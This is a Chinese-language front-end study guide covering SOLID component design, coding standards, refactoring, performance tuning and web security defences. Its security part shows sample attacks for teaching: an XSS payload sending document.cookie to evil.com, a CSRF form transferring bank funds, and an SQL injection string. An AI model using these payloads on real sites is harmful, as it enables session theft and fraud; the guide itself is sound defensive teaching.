可组合 组件可以嵌套组合 Form > Input + Button

Vue 组件示例

<template>
  <button 
    :class="['btn', `btn-${type}`, { 'btn-disabled': disabled }]"
    :disabled="disabled"
    @click="handleClick"
  >
    <slot></slot>
  </button>
</template>

<script>
export default {
  name: 'BaseButton',
  props: {
    type: { type: String, default: 'default' },
    disabled: { type: Boolean, default: false }
  },
  emits: ['click'],
  methods: {
    handleClick(e) {
      if (!this.disabled) {
        this.$emit('click', e);
      }
    }
  }
}
</script>

三、组件设计原则

34. 组件设计原则概述

组件设计遵循 SOLID 原则和迪米特法则,这些原则不仅适用于面向对象编程,也适用于前端组件设计。


35. 单一职责原则(SRP)

定义

一个组件/模块只负责一项职责,只有一种引起它变化的原因。

原理

职责过多会导致组件臃肿、难以维护和测试。拆分职责后每个组件更专注、更易于复用。

示例

// 违反 SRP:一个组件做太多事
class UserComponent {
  loadUserData() { /* 加载数据 */ }
  renderUser() { /* 渲染用户信息 */ }
  validateForm() { /* 验证表单 */ }
  submitForm() { /* 提交表单 */ }
  sendEmail() { /* 发送邮件 */ }
}

// 符合 SRP:拆分为多个组件
class UserLoader { loadUserData() { /* 加载数据 */ } }
class UserView { renderUser() { /* 渲染用户信息 */ } }
class FormValidator { validateForm() { /* 验证表单 */ } }
class FormSubmitter { submitForm() { /* 提交表单 */ } }
class EmailService { sendEmail() { /* 发送邮件 */ } }

常见误区

  • 过度拆分导致碎片化
  • 职责边界模糊

36. 开闭原则(OCP)

定义

对扩展开放,对修改关闭。软件实体应该可以扩展,但不应该被修改。

示例

// 违反 OCP:新增类型需要修改源码
function getDiscount(type, price) {
  if (type === 'vip') return price * 0.9;
  if (type === 'svip') return price * 0.8;
  if (type === 'vvip') return price * 0.7; // 每次新增都要修改
  return price;
}

// 符合 OCP:使用策略模式扩展
const discounts = {
  vip: (price) => price * 0.9,
  svip: (price) => price * 0.8,
};

function getDiscount(type, price) {
  const strategy = discounts[type];
  return strategy ? strategy(price) : price;
}

// 扩展无需修改原代码
discounts.vvip = (price) => price * 0.7;

37. 里氏替换原则(LSP)

定义

子类对象能够替换其父类对象,且程序逻辑不变。

示例

// 违反 LSP:子类改变了父类行为
class Bird {
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  fly() { throw new Error('企鹅不会飞'); } // 改变了父类行为
}

// 符合 LSP
class Bird {
  move() { console.log('移动'); }
}

class Sparrow extends Bird {
  move() { this.fly(); }
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  move() { this.swim(); }
  swim() { console.log('游泳'); }
}

38. 接口隔离原则(ISP)

定义

客户端不应依赖它不需要的接口。应该将大接口拆分为小接口。

示例

// 违反 ISP:一个大接口
class Worker {
  work() {}
  eat() {}
  sleep() {}
}

class Robot implements Worker {
  work() { /* 工作 */ }
  eat() { throw new Error('机器人不需要吃饭'); }
  sleep() { throw new Error('机器人不需要睡觉'); }
}

// 符合 ISP:拆分接口
class Workable { work() {} }
class Eatable { eat() {} }
class Sleepable { sleep() {} }

class Robot implements Workable {
  work() { /* 工作 */ }
}

class Human implements Workable, Eatable, Sleepable {
  work() { /* 工作 */ }
  eat() { /* 吃饭 */ }
  sleep() { /* 睡觉 */ }
}

39. 依赖倒置原则(DIP)

定义

高层模块不应依赖低层模块,二者都应依赖抽象。抽象不应依赖细节,细节应依赖抽象。

示例

// 违反 DIP:高层直接依赖低层
class OrderService {
  constructor() {
    this.db = new MySQLDatabase(); // 直接依赖具体实现
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 符合 DIP:依赖抽象
class OrderService {
  constructor(database) {
    this.db = database; // 依赖抽象接口
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 使用时注入具体实现
const mysqlService = new OrderService(new MySQLDatabase());
const mongoService = new OrderService(new MongoDBDatabase());

40. 迪米特法则(LOD)

定义

一个对象应该对其他对象有最少的了解,只与直接朋友通信。

示例

// 违反 LOD:了解太多内部结构
class Company {
  getDepartments() { return [...]; }
}

class Department {
  getEmployees() { return [...]; }
}

// 不好:需要了解公司内部结构
function getEmployeeCount(company) {
  let count = 0;
  company.getDepartments().forEach(dept => {
    count += dept.getEmployees().length;
  });
  return count;
}

// 符合 LOD:封装内部结构
class Company {
  getEmployeeCount() {
    // 内部逻辑对外隐藏
    return this.departments.reduce((sum, dept) => 
      sum + dept.employees.length, 0
    );
  }
}

41. 组件复用性

设计原则

维度 建议
Props 设计 类型明确、有默认值、校验
插槽设计 使用 slot 提供扩展点
样式隔离 使用 BEM/CSS Modules/Scoped
事件设计 使用 emits 声明事件
文档完善 提供使用示例和 Props 说明

高复用组件示例

<!-- 通用表格组件 -->
<template>
  <table class="data-table">
    <thead>
      <tr>
        <th v-for="col in columns" :key="col.key">{{ col.title }}</th>
      </tr>
    </thead>
    <tbody>
      <tr v-for="row in data" :key="row.id">
        <td v-for="col in columns" :key="col.key">
          <slot :name="col.key" :row="row" :value="row[col.key]">
            {{ row[col.key] }}
          </slot>
        </td>
      </tr>
    </tbody>
  </table>
</template>

<script>
export default {
  props: {
    columns: {
      type: Array,
      required: true,
      validator: cols => cols.every(c => c.key && c.title)
    },
    data: { type: Array, default: () => [] },
    loading: { type: Boolean, default: false }
  }
}
</script>

42. 组件扩展性

扩展方式

方式 说明 适用场景
Props 传入配置控制行为 控制组件展示
Slots 提供内容插槽 自定义组件内容
Events 暴露事件供外部监听 响应组件交互
Ref 暴露内部方法 需要程序化控制
继承/组合 包装或扩展组件 构建变体组件

代码示例

<!-- 可扩展的卡片组件 -->
<template>
  <div :class="['card', `card-${size}`, { 'card-bordered': bordered }]">
    <!-- 头部扩展 -->
    <div v-if="$slots.header || title" class="card-header">
      <slot name="header">
        <h3>{{ title }}</h3>
      </slot>
    </div>
    
    <!-- 内容区 -->
    <div class="card-body">
      <slot></slot>
    </div>
    
    <!-- 底部扩展 -->
    <div v-if="$slots.footer" class="card-footer">
      <slot name="footer"></slot>
    </div>
  </div>
</template>

<script>
export default {
  props: {
    title: String,
    size: { type: String, default: 'medium', validator: v => ['small', 'medium', 'large'].includes(v) },
    bordered: Boolean
  }
}
</script>

43. 组件可维护性

原则

维度 建议
命名规范 组件名 PascalCase,事件/方法 camelCase
代码结构 统一模板结构:props → data → computed → methods
注释规范 公共组件写 JSDoc,复杂逻辑加注释
类型检查 使用 TypeScript 或 PropTypes
单元测试 核心逻辑和公共组件编写测试
样式管理 使用预处理器、CSS Modules、设计变量

44. 如何设计一个高可复用的表单组件?

问题拆解

维度 需求
表单字段 支持多种类型:input、select、textarea、checkbox 等
表单验证 支持多种规则:必填、长度、正则、异步验证
表单布局 支持横向/纵向布局、栅格布局
表单提交 统一提交、防抖、加载状态
表单状态 脏数据、提交状态、错误状态

实现方案

<!-- 表单容器组件 -->
<template>
  <form @submit.prevent="handleSubmit">
    <div :class="['form', `form-${layout}`]">
      <slot :form="form"></slot>
    </div>
    <slot name="actions"></slot>
  </form>
</template>

<script>
export default {
  props: {
    model: { type: Object, required: true },
    rules: { type: Object, default: () => ({}) },
    layout: { type: String, default: 'vertical' }
  },
  data() {
    return {
      form: {
        values: { ...this.model },
        errors: {},
        touched: {},
        submitting: false
      }
    };
  },
  methods: {
    async validate(field) {
      const rule = this.rules[field];
      if (!rule) return true;
      
      const value = this.form.values[field];
      for (const validator of rule) {
        const error = await validator(value, this.form.values);
        if (error) {
          this.form.errors[field] = error;
          return false;
        }
      }
      delete this.form.errors[field];
      return true;
    },
    
    async handleSubmit() {
      const fields = Object.keys(this.rules);
      let valid = true;
      
      for (const field of fields) {
        if (!(await this.validate(field))) {
          valid = false;
        }
      }
      
      if (valid) {
        this.form.submitting = true;
        try {
          await this.$emit('submit', this.form.values);
        } finally {
          this.form.submitting = false;
        }
      }
    }
  }
}
</script>

<!-- 表单项组件 -->
<template>
  <div class="form-item" :class="{ 'form-item-error': form.errors[name] }">
    <label v-if="label">{{ label }}</label>
    <slot></slot>
    <span v-if="form.errors[name]" class="error-msg">{{ form.errors[name] }}</span>
  </div>
</template>

<!-- 使用 -->
<BaseForm :model="formData" :rules="rules" @submit="onSubmit">
  <template #default="{ form }">
    <FormItem label="用户名" name="username" :form="form">
      <input v-model="form.values.username" @blur="form.touched.username = true" />
    </FormItem>
    
    <FormItem label="邮箱" name="email" :form="form">
      <input v-model="form.values.email" @blur="form.validate('email')" />
    </FormItem>
  </template>
  
  <template #actions>
    <button type="submit" :disabled="form.submitting">提交</button>
  </template>
</BaseForm>

四、代码规范与最佳实践

45. 代码规范 / 编码规范

定义

代码规范是一组约定,用于统一团队的编码风格,提高代码可读性和可维护性。

规范内容

维度 规范内容
命名规范 变量/函数/组件/文件命名约定
格式规范 缩进、换行、空格、括号
注释规范 JSDoc、行注释、块注释
文件组织 导入顺序、模块导出
最佳实践 避免的写法、推荐的写法

46. 命名规范

// 变量/函数:camelCase
const userName = '张三';
function getUserInfo() {}

// 常量:UPPER_SNAKE_CASE
const MAX_RETRY_COUNT = 3;
const API_BASE_URL = '/api';

// 类/组件:PascalCase
class UserService {}
const UserProfile = () => <div>...</div>;

// 私有变量:_ 前缀
const _privateData = {};

// 布尔值:is/has/should 前缀
const isLoading = true;
const hasPermission = false;
const shouldUpdate = true;

// 事件处理:handle 前缀
function handleClick() {}
function handleSubmit() {}

// 回调函数:on 前缀
function onComplete() {}
function onError() {}

// 文件命名
// 组件:PascalCase.vue / .jsx
// 工具:camelCase.js
// 常量:UPPER_CASE.js

47. 注释规范

/**
 * 格式化日期
 * @param {Date|string|number} date - 日期对象或时间戳
 * @param {string} [format='YYYY-MM-DD'] - 格式化模板
 * @returns {string} 格式化后的日期字符串
 * @example
 * formatDate(new Date(), 'YYYY/MM/DD') // '2024/01/01'
 */
function formatDate(date, format = 'YYYY-MM-DD') {
  // 处理时间戳
  if (typeof date === 'number') {
    date = new Date(date);
  }
  
  // TODO: 支持更多格式化选项
  
  // HACK: 临时方案,需要后续优化
  return format.replace('YYYY', date.getFullYear());
}

// FIXME: 这里有性能问题,需要优化
// NOTE: 这个改动是因为需求变更
// WARN: 注意这个边界情况

48. ESLint

定义

ESLint 是一个可配置的 JavaScript 代码检查工具。

配置示例

// .eslintrc.js
module.exports = {
  root: true,
  env: { browser: true, es2021: true, node: true },
  extends: [
    'eslint:recommended',
    'plugin:vue/vue3-recommended',
    '@vue/typescript'
  ],
  parserOptions: {
    ecmaVersion: 'latest',
    parser: '@typescript-eslint/parser'
  },
  rules: {
    // 错误级别
    'no-console': process.env.NODE_ENV === 'production' ? 'error' : 'warn',
    'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off',
    
    // 风格规则
    'semi': ['error', 'always'],
    'quotes': ['error', 'single'],
    'indent': ['error', 2],
    
    // 最佳实践
    'eqeqeq': ['error', 'always'],
    'no-unused-vars': 'error',
    'prefer-const': 'error'
  }
};

49. Prettier

定义

Prettier 是一个代码格式化工具,自动统一代码风格。

配置示例

// .prettierrc
{
  "semi": true,
  "singleQuote": true,
  "tabWidth": 2,
  "trailingComma": "es5",
  "printWidth": 100,
  "arrowParens": "avoid",
  "bracketSpacing": true
}

ESLint + Prettier 集成

// package.json
{
  "scripts": {
    "lint": "eslint src --ext .js,.vue --fix",
    "format": "prettier --write src/**/*.{js,vue,css}"
  }
}

50. Git 提交规范

Conventional Commits 规范

<type>(<scope>): <subject>

<body>

<footer>

Type 类型

Type 说明
feat 新功能
fix Bug 修复
docs 文档变更
style 代码格式(不影响代码运行)
refactor 重构(既不是新功能也不是修复)
perf 性能优化
test 测试相关
chore 构建/工具变更
ci CI 配置变更

示例

feat(user): 添加用户登录功能

实现了基于 JWT 的用户登录验证
- 添加登录表单组件
- 添加登录 API 接口
- 添加 Token 存储逻辑

Closes #123

51. 代码审查(Code Review)

审查清单

维度 检查项
功能 是否满足需求、有无 Bug
设计 架构是否合理、是否过度设计
性能 有无性能问题、是否需要优化
安全 有无安全隐患(XSS、注入)
规范 是否遵循代码规范
测试 是否覆盖测试用例
文档 是否更新文档

52. 代码质量

衡量指标

指标 说明 工具
圈复杂度 代码路径复杂度 ESLint complexity
重复率 代码重复程度 SonarQube
测试覆盖率 测试覆盖的代码比例 Jest/Istanbul
技术债务 修复问题所需时间 SonarQube
代码异味 潜在问题代码 ESLint/SonarQube

五、重构技巧

53. 代码重构

定义

在不改变代码外部行为的前提下,改善代码的内部结构。

重构原则

  1. 红-绿-重构:先写测试(红)→ 实现功能(绿)→ 重构优化
  2. 小步重构:每次只做小改动,确保测试通过
  3. 频繁提交:每次重构后立即提交
  4. 保持测试通过:重构前后测试应全部通过

54. 重构技巧

技巧 说明 适用场景
提取函数 将代码块提取为独立函数 重复代码、过长函数
提取变量 将表达式结果赋给变量 复杂表达式、增加可读性
内联函数 将函数体替换为调用处 函数体过于简单
内联变量 直接使用表达式替代变量 临时变量
重命名 改进名称以增加可读性 命名不清晰
移动函数 将函数移到更合适的类/模块 函数归属不当
移动字段 将字段移到更合适的类 字段归属不当
封装字段 为字段提供 getter/setter 直接访问字段
封装集合 控制集合的访问和修改 暴露内部集合
引入断言 使用断言验证假设 调试、防御性编程

55. 提取函数

// 重构前
function printOwing(invoice) {
  let outstanding = 0;
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
  
  // 计算明细
  for (const item of invoice.items) {
    outstanding += item.amount;
  }
  
  // 打印明细
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

// 重构后:提取函数
function printOwing(invoice) {
  printBanner();
  const outstanding = calculateOutstanding(invoice);
  printDetails(invoice, outstanding);
}

function printBanner() {
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
}

function calculateOutstanding(invoice) {
  return invoice.items.reduce((sum, item) => sum + item.amount, 0);
}

function printDetails(invoice, outstanding) {
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

56. 提取变量

// 重构前
if (user.role === 'admin' && user.status === 'active' && user.permissions.includes('delete')) {
  // ...
}

// 重构后
const isAdmin = user.role === 'admin';
const isActive = user.status === 'active';
const canDelete = user.permissions.includes('delete');

if (isAdmin && isActive && canDelete) {
  // ...
}

57. 内联函数

// 重构前
function getRating(driver) {
  return moreThanFiveLateDeliveries(driver) ? 2 : 1;
}

function moreThanFiveLateDeliveries(driver) {
  return driver.numberOfLateDeliveries > 5;
}

// 重构后
function getRating(driver) {
  return driver.numberOfLateDeliveries > 5 ? 2 : 1;
}

58. 封装字段

// 重构前
class Person {
  constructor(name) {
    this.name = name;
  }
}

const p = new Person('张三');
p.name = ''; // 可以直接修改

// 重构后
class Person {
  #name;
  
  constructor(name) {
    this.setName(name);
  }
  
  getName() {
    return this.#name;
  }
  
  setName(value) {
    if (!value) throw new Error('name 不能为空');
    this.#name = value;
  }
}

59. 封装集合

// 重构前
class Team {
  constructor() {
    this.members = [];
  }
}

const team = new Team();
team.members = []; // 可以直接替换整个集合

// 重构后
class Team {
  #members = [];
  
  getMembers() {
    return [...this.#members]; // 返回副本
  }
  
  addMember(member) {
    this.#members.push(member);
  }
  
  removeMember(member) {
    this.#members = this.#members.filter(m => m !== member);
  }
}

六、性能优化策略

60. 前端性能优化

优化维度

维度 优化方向
加载优化 减少资源体积、减少请求数量
执行优化 减少 JS 执行时间、优化算法
渲染优化 减少重排重绘、使用 GPU 加速
网络优化 使用 CDN、HTTP/2、缓存策略
图片优化 格式选择、懒加载、响应式图片
缓存优化 浏览器缓存、Service Worker
首屏优化 SSR/SSG、代码分割、预加载
白屏优化 骨架屏、内联关键 CSS

61. 加载优化

策略

策略 说明 实现
代码分割 按路由/组件拆分代码 Webpack splitChunks、React.lazy
资源压缩 减小文件体积 Terser、CSSNano
图片压缩 优化图片大小 WebP、AVIF、Tinypng
Gzip/Brotli 压缩传输内容 Nginx 配置
CDN 加速 就近获取资源 CDN 分发
按需加载 用时才加载 动态 import()、懒加载
预加载 提前加载资源 <link rel="preload">
预连接 提前建立连接 <link rel="preconnect">

代码示例

// 路由懒加载
const Home = () => import('./pages/Home.vue');
const About = () => import('./pages/About.vue');

// React.lazy
const LazyComponent = React.lazy(() => import('./HeavyComponent'));

// 图片懒加载
<img loading="lazy" src="image.jpg" alt="图片" />

// 预加载关键资源
<link rel="preload" href="/fonts/main.woff2" as="font" crossorigin>
<link rel="preload" href="/css/critical.css" as="style">

// 预连接第三方域名
<link rel="preconnect" href="https://api.example.com">
<link rel="dns-prefetch" href="https://cdn.example.com">

62. 执行优化

策略

策略 说明
防抖/节流 减少高频事件触发
虚拟列表 只渲染可视区域
Web Worker 将计算移出主线程
避免强制同步布局 批量读写 DOM
减少闭包 减少内存占用
对象池 复用对象减少 GC

代码示例

// 防抖
function debounce(fn, delay) {
  let timer = null;
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() => fn.apply(this, args), delay);
  };
}

// 节流
function throttle(fn, limit) {
  let inThrottle = false;
  return function(...args) {
    if (!inThrottle) {
      fn.apply(this, args);
      inThrottle = true;
      setTimeout(() => inThrottle = false, limit);
    }
  };
}

// 虚拟列表
function VirtualList({ items, itemHeight, visibleCount }) {
  const [scrollTop, setScrollTop] = useState(0);
  
  const startIndex = Math.floor(scrollTop / itemHeight);
  const endIndex = Math.min(startIndex + visibleCount, items.length);
  const visibleItems = items.slice(startIndex, endIndex);
  
  return (
    <div style={{ height: visibleCount * itemHeight, overflow: 'auto' }}
         onScroll={e => setScrollTop(e.target.scrollTop)}>
      <div style={{ height: items.length * itemHeight, position: 'relative' }}>
        {visibleItems.map((item, i) => (
          <div key={i} style={{ 
            position: 'absolute', 
            top: (startIndex + i) * itemHeight 
          }}>
            {item}
          </div>
        ))}
      </div>
    </div>
  );
}

// Web Worker
const worker = new Worker('worker.js');
worker.postMessage(data);
worker.onmessage = (e) => {
  console.log('计算结果:', e.data);
};

63. 渲染优化

策略

策略 说明
减少重排 批量修改样式、使用 transform/opacity
减少重绘 避免频繁修改可见性、颜色
使用 will-change 提示浏览器优化
CSS 含合成 使用 transform 代替 top/left
避免布局抖动 避免交替读写 DOM
使用 DocumentFragment 批量插入 DOM

代码示例

// 好的做法:使用 transform
.element {
  transition: transform 0.3s;
}
.element:hover {
  transform: translateX(100px);
}

// 不好的做法:使用 top/left
.element {
  transition: left 0.3s;
}
.element:hover {
  left: 100px;
}

// 批量 DOM 操作
// 不好的做法
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  container.appendChild(el); // 多次触发重排
});

// 好的做法
const fragment = document.createDocumentFragment();
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  fragment.appendChild(el);
});
container.appendChild(fragment); // 只触发一次重排

// 避免布局抖动
// 不好的做法
div.style.width = '100px';
console.log(div.offsetWidth); // 强制同步布局
div.style.height = '200px';
console.log(div.offsetHeight); // 强制同步布局

// 好的做法
console.log(div.offsetWidth); // 先读取
div.style.width = '100px';    // 后写入
console.log(div.offsetHeight);
div.style.height = '200px';

64. 网络优化

策略

策略 说明
HTTP/2 多路复用、头部压缩
CDN 就近分发资源
资源合并 减少请求数(HTTP/1.1)
缓存策略 合理设置 Cache-Control
预请求 DNS 预解析、预连接

缓存策略

// HTTP 缓存头
// 强缓存
Cache-Control: max-age=31536000, immutable // 一年,不验证
Cache-Control: max-age=3600                // 一小时

// 协商缓存
ETag: "abc123"                             // 文件指纹
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT

// Nginx 配置示例
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
  expires 1y;
  add_header Cache-Control "public, immutable";
}

location / {
  add_header Cache-Control "no-cache";
}

65. 图片优化

策略

策略 说明
格式选择 WebP/AVIF 优先,PNG 用于透明,JPEG 用于照片
响应式图片 srcset + sizes 适配不同屏幕
懒加载 loading="lazy"
压缩 使用工具压缩图片
雪碧图 合并小图标
Base64 小图标内联

代码示例

<!-- 响应式图片 -->
<img 
  srcset="small.jpg 480w, medium.jpg 800w, large.jpg 1200w"
  sizes="(max-width: 480px) 480px, (max-width: 800px) 800px, 1200px"
  src="medium.jpg"
  alt="响应式图片"
  loading="lazy"
>

<!-- 使用 picture 元素 -->
<picture>
  <source srcset="image.webp" type="image/webp">
  <source srcset="image.avif" type="image/avif">
  <img src="image.jpg" alt="图片">
</picture>

66. 缓存优化

浏览器缓存层次

缓存类型 位置 有效期
Service Worker 浏览器 持久化
Memory Cache 内存 会话期间
Disk Cache 磁盘 根据 HTTP 头
Push Cache HTTP/2 连接 连接期间

localStorage/sessionStorage

// 带过期时间的缓存
function setWithExpiry(key, value, ttl) {
  const item = {
    value,
    expiry: Date.now() + ttl
  };
  localStorage.setItem(key, JSON.stringify(item));
}

function getWithExpiry(key) {
  const itemStr = localStorage.getItem(key);
  if (!itemStr) return null;
  
  const item = JSON.parse(itemStr);
  if (Date.now() > item.expiry) {
    localStorage.removeItem(key);
    return null;
  }
  return item.value;
}

67. 首屏优化

策略

策略 说明
SSR/SSG 服务端渲染/静态生成
代码分割 只加载首屏代码
内联关键 CSS 将首屏样式内联到 HTML
骨架屏 首屏占位
预渲染 构建时生成静态 HTML
资源优先级 preload/prefetch

骨架屏示例

<template>
  <div class="skeleton">
    <div class="skeleton-header"></div>
    <div class="skeleton-content">
      <div class="skeleton-line" v-for="i in 5" :key="i"></div>
    </div>
    <div class="skeleton-footer"></div>
  </div>
</template>

<style scoped>
.skeleton-line {
  height: 16px;
  background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
  background-size: 200% 100%;
  animation: shimmer 1.5s infinite;
  margin-bottom: 8px;
  border-radius: 4px;
}

@keyframes shimmer {
  0% { background-position: 200% 0; }
  100% { background-position: -200% 0; }
}
</style>

68. 白屏优化

策略

策略 说明
内联关键 JS 将初始化逻辑内联到 HTML
异步加载脚本 async/defer 加载
首屏直出 SSR 或预渲染
容错处理 JS 加载失败时的降级方案
预加载字体 避免字体闪烁

代码示例

<!DOCTYPE html>
<html>
<head>
  <style>
    /* 内联关键 CSS */
    .loading { display: flex; justify-content: center; align-items: center; height: 100vh; }
    .spinner { width: 40px; height: 40px; border: 3px solid #f3f3f3; border-top: 3px solid #3498db; border-radius: 50%; animation: spin 1s linear infinite; }
    @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
  </style>
</head>
<body>
  <div id="app">
    <div class="loading">
      <div class="spinner"></div>
      <p>加载中...</p>
    </div>
  </div>
  
  <script defer src="/js/app.js"></script>
</body>
</html>

69. 多维度性能优化策略有哪些?

Lighthouse 评分维度

维度 指标 目标值
性能 FCP(首次内容绘制) < 1.8s
性能 LCP(最大内容绘制) < 2.5s
性能 FID(首次输入延迟) < 100ms
性能 CLS(累积布局偏移) < 0.1
性能 TTI(可交互时间) < 3.8s
性能 TBT(总阻塞时间) < 200ms

优化路线图

1. 测量 → 使用 Lighthouse/Performance API 获取当前指标
2. 分析 → 定位瓶颈(网络、JS 执行、渲染)
3. 优化 → 针对性实施优化策略
4. 验证 → 重新测量确认效果
5. 监控 → 持续监控性能指标

七、安全策略

70. 前端安全

安全原则

  • 最小权限:只授予必要的权限
  • 纵深防御:多层防护
  • 不信任用户输入:所有输入都应验证和转义
  • 安全默认:默认开启安全策略

71. XSS 攻击

定义

XSS(跨站脚本攻击,Cross-Site Scripting)是攻击者向目标网站注入恶意脚本,在其他用户浏览器中执行。

攻击类型

类型 说明 示例
存储型 XSS 恶意脚本存储在服务器 评论中注入 <script> 标签
反射型 XSS 通过 URL 参数传递 搜索框:?q=<script>alert(1)</script>
DOM 型 XSS 通过前端 JS 操作 DOM innerHTML = userInput

攻击示例

// 存储型 XSS 场景
// 攻击者在评论框输入
const maliciousComment = `
  <img src="x" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">
`;

// 如果后端没过滤,前端没转义
<div class="comment">
  ${userInput} // 恶意脚本执行
</div>

// DOM 型 XSS
const hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash; // 危险!

72. XSS 防御

防御策略

策略 说明 实现
输入过滤 验证和过滤用户输入 白名单验证、特殊字符转义
输出编码 输出时转义特殊字符 HTML 实体编码
CSP 内容安全策略 设置 HTTP 头
HttpOnly 禁止 JS 访问 Cookie Set-Cookie: HttpOnly
框架防护 框架自动转义 Vue/React 默认转义

代码实现

// HTML 转义函数
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  };
  return str.replace(/[&<>"'/]/g, s => map[s]);
}

// 使用
const userInput = '<script>alert(1)</script>';
const safeOutput = escapeHtml(userInput);
// &lt;script&gt;alert(1)&lt;/script&gt;

// DOMPurify 库
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);

// CSP 头配置
// Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
// Content-Security-Policy: script-src 'self' https://trusted-cdn.com

Vue/React 的安全特性

<!-- Vue 自动转义 -->
<div>{{ userInput }}</div> <!-- 安全,自动转义 -->
<div v-html="userInput"></div> <!-- 危险!需要自行处理 -->
// React 自动转义
<div>{userInput}</div> {/* 安全 */}
<div dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危险 */}

73. CSRF 攻击

定义

CSRF(跨站请求伪造,Cross-Site Request Forgery)是攻击者诱导用户在已认证的网站上执行非预期操作。

攻击原理

  1. 用户登录目标网站,获得 Cookie
  2. 用户访问恶意网站
  3. 恶意网站发送请求到目标网站
  4. 浏览器自动携带 Cookie,请求成功

攻击示例

<!-- 恶意网站 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- 或者 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

74. CSRF 防御

防御策略

策略 说明 实现
CSRF Token 请求携带随机 Token 表单/请求头携带 Token
SameSite Cookie 限制 Cookie 跨站发送 Set-Cookie: SameSite=Strict
验证 Referer 检查请求来源 服务端验证 Referer 头
自定义请求头 要求携带自定义头 X-Requested-With

代码实现

// CSRF Token 方案
// 后端生成 Token 放入页面
<meta name="csrf-token" content="abc123xyz">

// 前端携带 Token
axios.interceptors.request.use(config => {
  const token = document.querySelector('meta[name="csrf-token"]').content;
  config.headers['X-CSRF-Token'] = token;
  return config;
});

// 后端验证
app.post('/api/transfer', (req, res) => {
  const csrfToken = req.headers['x-csrf-token'];
  if (csrfToken !== req.session.csrfToken) {
    return res.status(403).send('CSRF Token 验证失败');
  }
  // 处理转账
});

// SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure
Set-Cookie: sessionId=abc123; SameSite=Lax; Secure

75. SQL 注入

定义

攻击者通过在输入中注入恶意 SQL 语句,改变原有 SQL 逻辑。

攻击示例

// 危险:拼接 SQL
const sql = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
// 攻击者输入:' OR '1'='1' --
// 结果 SQL:SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''

// 安全:使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.execute(sql, [username, password]);

76. 点击劫持

定义

攻击者将目标网站嵌入 iframe,诱导用户点击被覆盖的不可见元素。

防御

// X-Frame-Options 头
X-Frame-Options: DENY          // 不允许任何 iframe 嵌入
X-Frame-Options: SAMEORIGIN    // 只允许同源
X-Frame-Options: ALLOW-FROM https://example.com // 允许指定域名

// JS 防护
if (window.top !== window.self) {
  window.top.location = window.self.location;
}

77. 中间人攻击(MITM)

定义

攻击者在通信双方之间拦截、篡改或伪造数据。

防御

  • 使用 HTTPS 加密传输
  • HSTS(HTTP Strict Transport Security)
  • 证书锁定(Certificate Pinning)
  • 避免使用公共 WiFi 传输敏感信息

78. 内容安全策略(CSP)

定义

CSP(Content Security Policy)是一个额外的安全层,用于检测和缓解某些类型的攻击,包括 XSS 和数据注入。

配置

# 基本配置
Content-Security-Policy: default-src 'self'

# 允许特定域名
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';

# Report-Only 模式(不阻止只报告)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

指令说明

指令 说明
default-src 默认策略
script-src 脚本来源
style-src 样式来源
img-src 图片来源
font-src 字体来源
connect-src 连接来源(fetch、WebSocket)
frame-ancestors 允许嵌入的父页面
form-action 允许的表单提交地址

79. HTTPS

定义

HTTPS 是 HTTP 的安全版本,通过 SSL/TLS 加密数据传输。

优势

  • 数据加密:防止数据被窃听
  • 身份认证:防止中间人攻击
  • 数据完整性:防止数据被篡改

混合内容问题

<!-- 主动混合内容(被阻止) -->
<script src="http://example.com/script.js"></script>

<!-- 被动混合内容(警告) -->
<img src="http://example.com/image.jpg">

<!-- 解决方案:协议相对路径 -->
<script src="//example.com/script.js"></script>

<!-- Upgrade-Insecure-Requests -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

80. 安全头配置

常用安全头

头部 说明
Content-Security-Policy 各种指令 内容安全策略
X-Content-Type-Options nosniff 禁止 MIME 嗅探
X-Frame-Options DENY/SAMEORIGIN 防止点击劫持
X-XSS-Protection 1; mode=block XSS 过滤器(已废弃)
Strict-Transport-Security max-age=31536000 HSTS
Referrer-Policy no-referrer 控制 Referer 信息
Permissions-Policy 各种权限 控制浏览器功能访问

Nginx 配置

server {
  add_header X-Content-Type-Options "nosniff" always;
  add_header X-Frame-Options "DENY" always;
  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
